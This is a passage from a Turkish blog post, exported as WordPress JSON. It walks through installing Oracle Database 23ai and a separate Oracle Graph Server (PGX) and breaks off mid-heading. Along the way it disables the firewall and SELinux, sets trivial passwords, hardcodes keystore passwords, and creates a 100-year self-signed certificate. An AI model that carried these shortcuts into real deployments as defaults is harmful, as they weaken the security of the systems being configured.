{"id":811,"date":"2026-03-16T15:43:25","date_gmt":"2026-03-16T12:43:25","guid":{"rendered":"https:\/\/oraclius.com.tr\/?p=811"},"modified":"2026-04-07T11:25:07","modified_gmt":"2026-04-07T08:25:07","slug":"oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi","status":"publish","type":"post","link":"https:\/\/oraclius.com.tr\/en\/oracle-graph-database-ve-graph-server-pgx-pgql-kurulum-rehberi\/","title":{"rendered":"Oracle Graph Database ve Graph Server (PGX\/PGQL) Kurulum Rehberi"},"content":{"rendered":"\n<p>Veri d\u00fcnyas\u0131 art\u0131k sadece sat\u0131rlardan ve s\u00fctunlardan ibaret de\u011fil. G\u00fcn\u00fcm\u00fczde veriler aras\u0131ndaki <strong>ili\u015fkiler<\/strong>, verinin kendisi kadar de\u011ferli hale geldi. Doland\u0131r\u0131c\u0131l\u0131k tespiti (Fraud Detection), sosyal a\u011f analizleri ve tavsiye sistemleri gibi karma\u015f\u0131k yap\u0131lar i\u00e7in geleneksel SQL sorgular\u0131 bazen yetersiz kalabilir. \u0130\u015fte bu noktada sahneye <strong>Oracle Graph<\/strong> \u00e7\u0131k\u0131yor.<\/p>\n\n\n\n<p>Bu rehber dizisinde, hi\u00e7bir \u00f6n haz\u0131rl\u0131\u011f\u0131n\u0131z olmasa dahi, s\u0131f\u0131rdan ba\u015flayarak profesyonel bir <strong>Oracle Graph Database<\/strong> ve <strong>Remote Graph Server (PGX)<\/strong> mimarisini nas\u0131l aya\u011fa kald\u0131raca\u011f\u0131n\u0131z\u0131 \u00f6\u011freneceksiniz. \u00dcstelik bu kurulumu otomatik paketlerle (RPM) de\u011fil, bir DBA titizli\u011fiyle <strong>Binary (Image-based)<\/strong> y\u00f6ntemini kullanarak ger\u00e7ekle\u015ftirece\u011fiz.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00d6L\u00dcM 1. Oracle Graph Mimarisi: PGX ve PGQL Nedir?<\/h2>\n\n\n\n<p>Kuruluma ge\u00e7meden \u00f6nce, kuraca\u011f\u0131m\u0131z yap\u0131n\u0131n par\u00e7alar\u0131n\u0131 tan\u0131yal\u0131m. Bir Oracle Graph ekosistemi temel olarak \u00fc\u00e7 ana bile\u015fenden olu\u015fur:<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Veri Katman\u0131: Oracle Database 23ai<\/h3>\n\n\n\n<p>Graf verilerinizin (Nodes &amp; Edges) kal\u0131c\u0131 olarak sakland\u0131\u011f\u0131 yerdir. Oracle 23ai ile birlikte &#8220;Operational Property Graph&#8221; yetenekleri veritaban\u0131n\u0131n \u00e7ekirde\u011fine entegre edilmi\u015ftir.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Neden 23ai?<\/strong> \u00c7\u00fcnk\u00fc art\u0131k SQL ve Graph sorgular\u0131n\u0131 ayn\u0131 anda, ayn\u0131 tabloda \u00e7al\u0131\u015ft\u0131rabiliyoruz.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">2. Analiz Motoru: Graph Server (PGX)<\/h3>\n\n\n\n<p><strong>PGX (Parallel Graph AnalytiX)<\/strong>, bu mimarinin kalbidir. Bellek i\u00e7i (in-memory) \u00e7al\u0131\u015fan bir analiz motorudur. Veritaban\u0131ndaki veriyi RAM \u00fczerine alarak karma\u015f\u0131k matematiksel algoritmalar\u0131 (\u00f6rne\u011fin: PageRank) milisaniyeler i\u00e7inde \u00e7al\u0131\u015ft\u0131r\u0131r.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Neden Ayr\u0131 Sunucu?<\/strong> B\u00fcy\u00fck veri setlerinde analiz i\u015flemleri y\u00fcksek CPU ve RAM t\u00fcketir. Veritaban\u0131 performans\u0131n\u0131 etkilememek i\u00e7in Graph Server&#8217;\u0131 ayr\u0131 bir sunucuda konumland\u0131r\u0131yoruz.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. Sorgu Dili: PGQL (Property Graph Query Language)<\/h3>\n\n\n\n<p>Graf yap\u0131lar\u0131n\u0131 sorgulamak i\u00e7in kullan\u0131lan, SQL\u2019e \u00e7ok benzeyen ama ili\u015fkileri tan\u0131mlamakta \u00e7ok daha yetenekli bir dildir.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><em>\u00d6rnek:<\/em> <code>MATCH (a)-[:ARKADASI]-&gt;(b)<\/code> gibi basit bir s\u00f6z dizimiyle derin ba\u011flant\u0131lar\u0131 \u00e7ekebiliriz.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Neler Gerekiyor? (\u00d6n Haz\u0131rl\u0131k)<\/h3>\n\n\n\n<p>Bu yaz\u0131 serisini benimle birlikte uygulamak istiyorsan\u0131z ihtiyac\u0131n\u0131z olanlar:<\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>\u0130ki adet Linux Sunucu:<\/strong> (\u00d6nerilen: Oracle Linux 8 veya 9).<\/li>\n\n\n\n<li><strong>Oracle Database 23ai Binary Dosyas\u0131:<\/strong> (.zip format\u0131nda).<\/li>\n\n\n\n<li><strong>Java JDK 17+:<\/strong> Graph Server&#8217;\u0131n \u00e7al\u0131\u015fmas\u0131 i\u00e7in gerekli.<\/li>\n\n\n\n<li><strong>Bir miktar sab\u0131r ve terminal merak\u0131!<\/strong><\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 2: \u0130\u015fletim Sistemi Haz\u0131rl\u0131\u011f\u0131 ve Oracle Database 23ai Binary Kurulumu<\/h2>\n\n\n\n<p>Oracle Database 23ai d\u00fcnyas\u0131na ad\u0131m atarken, sistemin temelini sa\u011flam atmak performans ve kararl\u0131l\u0131k i\u00e7in kritiktir. Bu b\u00f6l\u00fcmde, i\u015fletim sistemini veritaban\u0131na haz\u0131r hale getirecek ve yaz\u0131l\u0131m\u0131 en profesyonel y\u00f6ntem olan &#8220;Image-based&#8221; (imaj tabanl\u0131) metoduyla kuraca\u011f\u0131z.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Gerekli Dosyalar ve Kaynak Ba\u011flant\u0131lar\u0131<\/h3>\n\n\n\n<p>Kuruluma ba\u015flamadan \u00f6nce a\u015fa\u011f\u0131daki paketlerin elinizde oldu\u011fundan emin olun. \u0130nternet eri\u015fimi olmayan ortamlar i\u00e7in bu paketleri \u00f6nceden indirip sunucuya transfer etmeniz gerekecektir:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Oracle Database 23ai Yaz\u0131l\u0131m\u0131 (ZIP):<\/strong> <a href=\"https:\/\/edelivery.oracle.com\/\" target=\"_blank\" rel=\"noreferrer noopener\">Oracle Software Delivery Cloud<\/a> (Enterprise Edition i\u00e7in arama yap\u0131n) veya <a href=\"https:\/\/www.oracle.com\/database\/technologies\/oracle23ai-linux-downloads.html\" target=\"_blank\" rel=\"noreferrer noopener\">Oracle 23ai Linux x64 Downloads<\/a>.<\/li>\n\n\n\n<li><strong>Oracle Preinstall RPM:<\/strong> Sunucunuzda internet varsa <code>yum<\/code> ile, yoksa <a href=\"https:\/\/yum.oracle.com\/repo\/OracleLinux\/OL8\/appstream\/x86_64\/index.html\" target=\"_blank\" rel=\"noreferrer noopener\">Oracle Public Yum Repo<\/a> adresinden i\u015fletim sistemi s\u00fcr\u00fcm\u00fcn\u00fcze uygun <code><a href=\"https:\/\/yum.oracle.com\/repo\/OracleLinux\/OL8\/appstream\/x86_64\/getPackage\/oracle-ai-database-preinstall-26ai-1.0-1.el8.x86_64.rpm\">oracle-ai-database-preinstall-26ai-1.0-1.el8.x86_64.rpm<\/a><\/code> paketini indirin.<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Ad\u0131m: \u0130\u015fletim Sistemini Oracle&#8217;a Haz\u0131rlama<\/h3>\n\n\n\n<p>Manuel konfig\u00fcrasyonlarla vakit kaybetmemek ve Oracle standartlar\u0131n\u0131 tam uygulamak i\u00e7in Preinstall paketini kullan\u0131yoruz. Bu paket; kernel parametrelerini, kullan\u0131c\u0131 limitlerini ve gerekli <code>oracle<\/code> kullan\u0131c\u0131s\u0131n\u0131 otomatik olarak olu\u015fturur.<\/p>\n\n\n\n<p>Paketin Kurulumu:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>yum install -y oracle-ai-database-preinstall-26ai-1.0-1.el8.x86_64.rpm<\/code><\/pre>\n\n\n\n<p>Firewall Servisini ve SECURELinux \u00d6zelliklerini Kapatmak:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>systemctl stop firewalld.service \nsystemctl disable firewalld.service <\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>sed -i 's\/^SELINUX=.*\/SELINUX=disabled\/' \/etc\/selinux\/config<\/code><\/pre>\n\n\n\n<p>Hosts dosyas\u0131n\u0131 d\u00fczenleyelim:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt; EOF &gt;&gt; \/etc\/hosts\n150.150.150.151  graph.db       graphdb\n150.150.150.152  graph.server   graphserver\nEOF<\/code><\/pre>\n\n\n\n<p>Bu i\u015flemden sonra, sistemin yeni kernel parametrelerini tan\u0131mas\u0131 i\u00e7in sunucuyu yeniden ba\u015flatabilir.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. Ad\u0131m: Dizin Yap\u0131s\u0131 ve Yetkilendirme<\/h3>\n\n\n\n<p>Veritaban\u0131 yaz\u0131l\u0131m\u0131n\u0131 (Binary) kuraca\u011f\u0131m\u0131z alan\u0131 haz\u0131rlayal\u0131m. Kurumsal standart olan <code>\/u01<\/code> dizin yap\u0131s\u0131n\u0131 tercih ediyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Dizinlerin olu\u015fturulmas\u0131\nmkdir -p \/u01\/app\/oracle\/product\/23.0.0\/dbhome_1\nmkdir -p \/u01\/app\/oraInventory\n\n# Sahiplik ve yetki ayarlar\u0131\nchown -R oracle:oinstall \/u01\nchmod -R 775 \/u01<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. Ad\u0131m: Oracle Kullan\u0131c\u0131 V\u00f6netimi Ve Environment Variables<\/h3>\n\n\n\n<p><code>oracle<\/code> kullan\u0131c\u0131s\u0131na \u015fifre atayal\u0131m ve Gerekli De\u011fi\u015fkelerin Bar\u0131nd\u0131rd\u0131\u011f\u0131 Bir Profile dosyas\u0131 olu\u015ftural\u0131m:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>passwd oracle\nChanging password for user oracle.\nNew password: \nBAD PASSWORD: The password is shorter than 8 characters\nRetype new password: \npasswd: all authentication tokens updated successfully.<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>cat &lt;&lt; EOF &gt;&gt; \/home\/oracle\/.profile_db\nexport ORACLE_HOSTNAME=graph.db\nexport ORACLE_HOME=\/u01\/app\/oracle\/product\/23.0.0\/dbhome_1\nexport ORACLE_UNQNAME=ORAGRAPH\nexport ORACLE_BASE=\/u01\/app\/oracle\nexport ORACLE_SID=ORAGRAPH\n\nexport PATH=$ORACLE_HOME\/bin:$PATH\nexport LD_LIBRARY_PATH=$ORACLE_HOME\/lib:\/lib:\/usr\/lib\nexport CLASSPATH=\\$ORACLE_HOME\/jlib:\\$ORACLE_HOME\/rdbms\/jlib\nexport TNS_ADMIN=$ORACLE_HOME\/network\/admin\n\nexport TMPDIR=\/tmp\nexport TMP=\/tmp\nEOF\n\nchown oracle:oinstall \/home\/oracle\/.profile_db\nchmod 644 \/home\/oracle\/.profile_db\n\ncat &lt;&lt; EOF &gt;&gt; \/home\/oracle\/.bash_profile\n. \/home\/oracle\/.profile_db\nEOF<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Ad\u0131m: Oracle 23ai Binary (Image-Based) Kurulumu<\/h3>\n\n\n\n<p>Geleneksel kurulum y\u00f6ntemlerinden farkl\u0131 olarak, Oracle 23ai ile birlikte gelen &#8220;Image-based&#8221; y\u00f6ntemi, yaz\u0131l\u0131m\u0131n bir zip dosyas\u0131 olarak do\u011frudan hedef dizine a\u00e7\u0131lmas\u0131n\u0131 temel al\u0131r. Bu, kurulum s\u00fcresini ciddi oranda k\u0131salt\u0131r.<\/p>\n\n\n\n<p><strong>Yaz\u0131l\u0131m\u0131n A\u00e7\u0131lmas\u0131:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>chown oracle.oinstall V1054592-01.zip\nchmod 775 V1054592-01.zip\n\nsu - oracle\nunzip -q V1054592-01.zip -d \/u01\/app\/oracle\/product\/23.0.0\/dbhome_1\/\n\ncd \/u01\/app\/oracle\/product\/23.0.0\/dbhome_1\/\n.\/runInstaller<\/code><\/pre>\n\n\n\n<p><strong>Sihirbazda Se\u00e7ilmesi Gerekenler:<\/strong><\/p>\n\n\n\n<ol start=\"1\" class=\"wp-block-list\">\n<li><strong>Configuration Option:<\/strong> &#8220;Set Up Software Only&#8221; (Sadece yaz\u0131l\u0131m\u0131 kur).<\/li>\n\n\n\n<li><strong>Database Installation Options:<\/strong> &#8220;Single Instance Database Installation&#8221;.<\/li>\n\n\n\n<li><strong>Database Edition:<\/strong> &#8220;Enterprise Edition&#8221;.<\/li>\n\n\n\n<li><strong>Root Scripts:<\/strong> Kurulumun sonunda kar\u015f\u0131n\u0131za \u00e7\u0131kan <code>\/u01\/app\/oraInventory\/orainstRoot.sh<\/code> ve <code>\/u01\/app\/oracle\/product\/23.0.0\/dbhome_1\/root.sh<\/code> scriptlerini <strong>root<\/strong> kullan\u0131c\u0131s\u0131 ile \u00e7al\u0131\u015ft\u0131rmay\u0131 unutmay\u0131n.<\/li>\n<\/ol>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 3: Database Configuration Assistant (DBCA) ile Veritaban\u0131 ve PDB Yap\u0131land\u0131rmas\u0131<\/h2>\n\n\n\n<p>\u00d6nceki b\u00f6l\u00fcmde Oracle 23ai yaz\u0131l\u0131m\u0131n\u0131 (Binary) sunucumuza yerle\u015ftirmi\u015ftik. \u015eimdi bu yaz\u0131l\u0131m\u0131 kullanarak, Graph analizleri i\u00e7in optimize edilmi\u015f, modern bir veritaban\u0131 instance&#8217;\u0131 olu\u015fturaca\u011f\u0131z. Oracle 23ai ile birlikte gelen &#8220;Multitenant&#8221; mimarisi, Graph verilerimizi y\u00f6netmek i\u00e7in bize izole ve g\u00fcvenli bir alan sunuyor.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Neden DBCA ve Neden Advanced Mode?<\/h3>\n\n\n\n<p>Veritaban\u0131n\u0131 olu\u015fturmak i\u00e7in Oracle&#8217;\u0131n grafiksel arac\u0131 olan <strong>DBCA (Database Configuration Assistant)<\/strong> kullanaca\u011f\u0131z. Profesyonel bir kurulumda her zaman <strong>&#8220;Advanced Configuration&#8221;<\/strong> se\u00e7ene\u011fiyle ilerlemeliyiz. Bu sayede;<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Karakter setini (Character Set) manuel belirleyebilir,<\/li>\n\n\n\n<li>Bellek (SGA\/PGA) y\u00f6netimini Graph y\u00fck\u00fcne g\u00f6re optimize edebilir,<\/li>\n\n\n\n<li>Graph Server&#8217;\u0131n ba\u011flanaca\u011f\u0131 <strong>Pluggable Database (PDB)<\/strong> yap\u0131s\u0131n\u0131 en ba\u015ftan kurgulayabiliriz.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">2. Ad\u0131m Ad\u0131m Veritaban\u0131 Olu\u015fturma<\/h3>\n\n\n\n<p>Terminalde <code>oracle<\/code> kullan\u0131c\u0131s\u0131 ile <code>dbca<\/code> komutunu vererek sihirbaz\u0131 ba\u015flat\u0131n.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>dbca<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">A. Temel Yap\u0131land\u0131rma<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Select Database Operation:<\/strong> &#8220;Create a Database&#8221; se\u00e7ene\u011fiyle devam edin.<\/li>\n\n\n\n<li><strong>Select Database Creation Mode:<\/strong> Burada mutlaka <strong>&#8220;Advanced Configuration&#8221;<\/strong> kutucu\u011funu i\u015faretleyin.<\/li>\n\n\n\n<li><strong>Database Type:<\/strong> &#8220;Oracle Single Instance Database&#8221; ve &#8220;General Purpose or Transaction Processing&#8221; \u015fablonunu se\u00e7in.<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">B. Kimlik ve PDB Ayarlar\u0131<\/h4>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Global Database Name:<\/strong> <code>ORAGRAPH<\/code><\/li>\n\n\n\n<li><strong>SID:<\/strong> <code>ORAGRAPH<\/code><\/li>\n\n\n\n<li><strong>Create as Container Database:<\/strong> Bu se\u00e7enek 23ai&#8217;de varsay\u0131lan ve zorunludur.<\/li>\n\n\n\n<li><strong>Create a local PDB:<\/strong> \u0130\u015fte en kritik nokta buras\u0131. Graph projeleriniz i\u00e7in \u00f6zel bir alan a\u00e7\u0131n.\n<ul class=\"wp-block-list\">\n<li><strong>PDB Name:<\/strong> <code>PDB_GRAPH<\/code> (Bu ismi not edin, Graph Server kurulumunda laz\u0131m olacak).<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<h4 class=\"wp-block-heading\">C. Bellek (Memory) ve Karakter Seti Y\u00f6netimi<\/h4>\n\n\n\n<p>Graph i\u015flemleri in-memory (bellek i\u00e7i) odakl\u0131 oldu\u011fu i\u00e7in veritaban\u0131 taraf\u0131ndaki bellek da\u011f\u0131l\u0131m\u0131 \u00f6nemlidir:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Memory:<\/strong> Test ortam\u0131 i\u00e7in toplam RAM&#8217;inizin yakla\u015f\u0131k %40-50&#8217;sini Oracle&#8217;a ay\u0131r\u0131n.<\/li>\n\n\n\n<li><strong>Character Sets:<\/strong> Buras\u0131 \u00e7ok kritik! Graph verilerinin ve metaverilerin do\u011fru i\u015flenmesi i\u00e7in karakter setini mutlaka <strong>AL32UTF8<\/strong> olarak se\u00e7in.<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">3. Graph Kullan\u0131c\u0131s\u0131 ve Yetkilendirme<\/h3>\n\n\n\n<p>Veritaban\u0131m\u0131z kurulduktan ve <code>open<\/code> durumuna ge\u00e7tikten sonra, Graph Server&#8217;\u0131n (PGX) ba\u011flanaca\u011f\u0131 yetkili kullan\u0131c\u0131y\u0131 haz\u0131rlamal\u0131y\u0131z. 23ai ile birlikte Graph yetkileri olduk\u00e7a basitle\u015fmi\u015ftir.<\/p>\n\n\n\n<p>Terminalden <code>sqlplus<\/code> ile ba\u011flanarak \u015fu komutlar\u0131 s\u0131ras\u0131yla \u00e7al\u0131\u015ft\u0131r\u0131n:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>-- PDB'ye ba\u011flanal\u0131m\nALTER SESSION SET CONTAINER = PDB_GRAPH;\n\n-- Graph kullan\u0131c\u0131s\u0131n\u0131 olu\u015ftural\u0131m\nCREATE USER GRAPH1 IDENTIFIED BY GRAPH1;\n\n-- Temel ba\u011flant\u0131 ve kaynak yetkileri\nGRANT CONNECT, RESOURCE TO GRAPH1 ;\n\n-- 23ai ile gelen sihirli yetki: Graph Developer\n-- Bu yetki kullan\u0131c\u0131n\u0131n graf modelleri olu\u015fturmas\u0131na ve analiz etmesine olanak tan\u0131r.\nGRANT GRAPH_DEVELOPER TO GRAPH1 ;\n\n-- Kotay\u0131 s\u0131n\u0131rs\u0131z yapal\u0131m (Veri y\u00fcklerken sorun ya\u015famamak i\u00e7in)\nALTER USER GRAPH1 QUOTA UNLIMITED ON USERS;<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">4. Listener ve Servis Kontrol\u00fc<\/h3>\n\n\n\n<p>Graph Server, veritaban\u0131na a\u011f \u00fczerinden (JDBC) ba\u011flanaca\u011f\u0131 i\u00e7in Listener&#8217;\u0131n ayakta oldu\u011fundan ve PDB servisinin kay\u0131tl\u0131 oldu\u011fundan emin olmal\u0131y\u0131z.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>lsnrctl status<\/code><\/pre>\n\n\n\n<p>Bu komutun \u00e7\u0131kt\u0131s\u0131nda <code>Service \"pdb_graph\" has 1 instance(s)...<\/code> sat\u0131r\u0131n\u0131 g\u00f6rmelisiniz. E\u011fer servis g\u00f6r\u00fcnm\u00fcyorsa veritaban\u0131 i\u00e7inde <code>ALTER SYSTEM REGISTER;<\/code> komutunu ko\u015fturabilirsiniz.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h2 class=\"wp-block-heading\">B\u00f6l\u00fcm 4: Ayr\u0131 Sunucuda Oracle Graph Server (PGX) Kurulumu ve Konfig\u00fcrasyonu<\/h2>\n\n\n\n<p>Veritaban\u0131m\u0131z (Server A) art\u0131k haz\u0131r. \u015eimdi, veritaban\u0131 \u00fczerindeki y\u00fck\u00fc hafifletmek ve grafik analizlerini in-memory (bellek i\u00e7i) performans\u0131yla ger\u00e7ekle\u015ftirmek i\u00e7in <strong>Graph Server<\/strong> kurulumuna ba\u015fl\u0131yoruz. Bu sunucu, karma\u015f\u0131k grafik algoritmalar\u0131n\u0131n ko\u015fturuldu\u011fu bir &#8220;hesaplama merkezi&#8221; g\u00f6revini g\u00f6recek.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">1. Ad\u0131m: \u0130\u015fletim Sistemi Haz\u0131rl\u0131\u011f\u0131 ve Kullan\u0131c\u0131 Olu\u015fturma<\/h3>\n\n\n\n<p>Server B \u00fczerinde hen\u00fcz hi\u00e7bir yap\u0131land\u0131rma olmad\u0131\u011f\u0131n\u0131 varsayarak, temel katman\u0131 olu\u015fturuyoruz. Veritaban\u0131 sunucusuyla standart sa\u011flamak ad\u0131na burada da bir <code>oracle<\/code> kullan\u0131c\u0131s\u0131 ve <code>u01<\/code> yap\u0131s\u0131 kuraca\u011f\u0131z.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Root kullan\u0131c\u0131s\u0131 ile:\ngroupadd oinstall\nuseradd -g oinstall oracle\npasswd oracle<\/code><\/pre>\n\n\n\n<h3 class=\"wp-block-heading\">2. Gerekli Dosyalar ve Kaynak Ba\u011flant\u0131lar\u0131<\/h3>\n\n\n\n<p>Server B \u00fczerinde kurulumu ger\u00e7ekle\u015ftirmek i\u00e7in a\u015fa\u011f\u0131daki iki ana bile\u015fene ihtiyac\u0131m\u0131z var:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><strong>Oracle JDK 17+:<\/strong> Graph Server bir Java uygulamas\u0131d\u0131r ve \u00e7al\u0131\u015fmak i\u00e7in en az JDK 17 s\u00fcr\u00fcm\u00fcne ihtiya\u00e7 duyar.\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.google.com\/search?q=https:\/\/www.oracle.com\/java\/technologies\/downloads\/%23java17\" target=\"_blank\" rel=\"noreferrer noopener\">Oracle JDK 17 \u0130ndirme Sayfas\u0131<\/a><\/li>\n<\/ul>\n<\/li>\n\n\n\n<li><strong>Oracle Graph Server Yaz\u0131l\u0131m\u0131 (ZIP):<\/strong> Veritaban\u0131 s\u00fcr\u00fcm\u00fcn\u00fczle uyumlu olan Graph Server paketini indirin.\n<ul class=\"wp-block-list\">\n<li><a href=\"https:\/\/www.google.com\/search?q=https:\/\/www.oracle.com\/database\/technologies\/spatial-and-graph\/graph-server-and-client-downloads.html\" target=\"_blank\" rel=\"noreferrer noopener\">Oracle Graph Server \u0130ndirme Sayfas\u0131<\/a><\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>Graph Server&#8217;\u0131n motoru olan Java&#8217;y\u0131 sisteme dahil edelim. \u0130ndirdi\u011fin RPM paketini kullanarak kurulumu ger\u00e7ekle\u015ftiriyoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># RPM paketini kural\u0131m\nsudo rpm -ivh jdk-17.0.12_linux-x64_bin.rpm\n\n# Kurulumu ve versiyonu teyit edelim\njava -version<\/code><\/pre>\n\n\n\n<p><strong>\u00d6nemli:<\/strong> E\u011fer sistemde birden fazla Java versiyonu varsa, <code>sudo alternatives --config java<\/code> komutuyla JDK 17&#8217;yi varsay\u0131lan yapmay\u0131 unutmay\u0131n.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo alternatives --config java\n\nThere is 1 program that provides 'java'.\n\n  Selection    Command\n-----------------------------------------------\n*+ 1           \/usr\/lib\/jvm\/jdk-17.0.12-oracle-x64\/bin\/java\n\nEnter to keep the current selection&#91;+], or type selection number: 1<\/code><\/pre>\n\n\n\n<p>Server B&#8217;de root yetkisiyle \u00f6nce Java&#8217;y\u0131, ard\u0131ndan Graph Server motorunu kuruyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>rpm -ivh oracle-graph-26.1.0.x86_64.rpm<\/code><\/pre>\n\n\n\n<p><strong>Bilgi:<\/strong> <code>oracle-graph<\/code> RPM paketi, yaz\u0131l\u0131m\u0131 varsay\u0131lan olarak <code>\/opt\/oracle\/graph<\/code> dizinine kurar.<\/p>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">3. HTTPS ve SSL\/TLS Konfig\u00fcrasyonu (Self-Signed)<\/h3>\n\n\n\n<p>RPM ile gelen 90 g\u00fcnl\u00fck demo sertifikay\u0131 iptal edip, yerine 100 y\u0131l (36.500 g\u00fcn) ge\u00e7erli profesyonel bir sertifika olu\u015fturuyoruz.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Mevcut demo keystore'u yedekleyelim\nsudo mv \/etc\/oracle\/graph\/server_keystore.jks \/etc\/oracle\/graph\/server_keystore.jks.old\n\n# 100 y\u0131l ge\u00e7erli yeni sertifikay\u0131 \u00fcretelim\nsudo keytool -genkeypair \\\n  -alias pgx \\\n  -keyalg RSA \\\n  -keysize 2048 \\\n  -validity 36500 \\\n  -keystore \/etc\/oracle\/graph\/server_keystore.jks \\\n  -dname \"CN=graph.server, OU=IT, O=Oraclius, L=Istanbul, ST=TR, C=TR\" \\\n  -storepass oraclius \\\n  -keypass oraclius \\\n  -ext san=ip:150.150.150.152\n\n# Dosya yetkilerini oraclegraph kullan\u0131c\u0131s\u0131na verelim\nsudo chown oraclegraph:oraclegraph \/etc\/oracle\/graph\/server_keystore.jks<\/code><\/pre>\n\n\n\n<p>\u0130\u00e7 servislerin birbirine g\u00fcvenmesi (<code>SunCertPathBuilderException<\/code> hatas\u0131n\u0131 a\u015fmak i\u00e7in), olu\u015fturdu\u011fumuz sertifikay\u0131 JDK&#8217;n\u0131n kendi <code>cacerts<\/code> dosyas\u0131na import etmeliyiz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code># Sertifikay\u0131 d\u0131\u015fa aktar\nsudo keytool -exportcert -alias pgx \\\n  -keystore \/etc\/oracle\/graph\/server_keystore.jks \\\n  -storepass oraclius -rfc -file \/etc\/oracle\/graph\/pgx-self-signed.crt\n\n# JDK 17'nin g\u00fcven listesine ekle\nsudo keytool -importcert -alias pgx-selfsigned \\\n  -file \/etc\/oracle\/graph\/pgx-self-signed.crt \\\n  -keystore \/usr\/lib\/jvm\/jdk-17.0.12-oracle-x64\/lib\/security\/cacerts \\\n  -storepass changeit -noprompt<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">4. Servis Ayarlar\u0131 ve JDBC Ba\u011flant\u0131s\u0131<\/h3>\n\n\n\n<p>Graph Server&#8217;\u0131n Server A \u00fczerindeki veritaban\u0131na ba\u011flanmas\u0131 i\u00e7in gerekli kimlik ve a\u011f ayarlar\u0131n\u0131 yap\u0131yoruz.<\/p>\n\n\n\n<p>G\u00fcvenlik nedeniyle Keystore \u015fifrelerini <code>systemd<\/code> \u00fczerinde \u00e7evre de\u011fi\u015fkeni olarak tan\u0131ml\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo systemctl edit pgx\n# A\u00e7\u0131lan dosyaya ekleyin:\n&#91;Service]\nEnvironment=\"PGX_SERVER_KEYSTORE_PASSWORD=oraclius\"\nEnvironment=\"PGX_SERVER_KEY_PASSWORD=oraclius\"<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<p><code>\/etc\/oracle\/graph\/server.conf<\/code> dosyas\u0131nda TLS&#8217;i aktif hale getirip, <code>\/etc\/oracle\/graph\/pgx.conf<\/code> dosyas\u0131nda JDBC URL&#8217;mizi ve BASE URL&#8217;mizi tan\u0131ml\u0131yoruz:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>\"jdbc_url\": \"jdbc:oracle:thin:@150.150.150.151:1521\/PDB_GRAPH\"\n...\n\"base_url\": \"https:\/\/150.150.150.152:7007\"<\/code><\/pre>\n\n\n\n<p><\/p>\n\n\n\n<h3 class=\"wp-block-heading\">5. Kurulumun 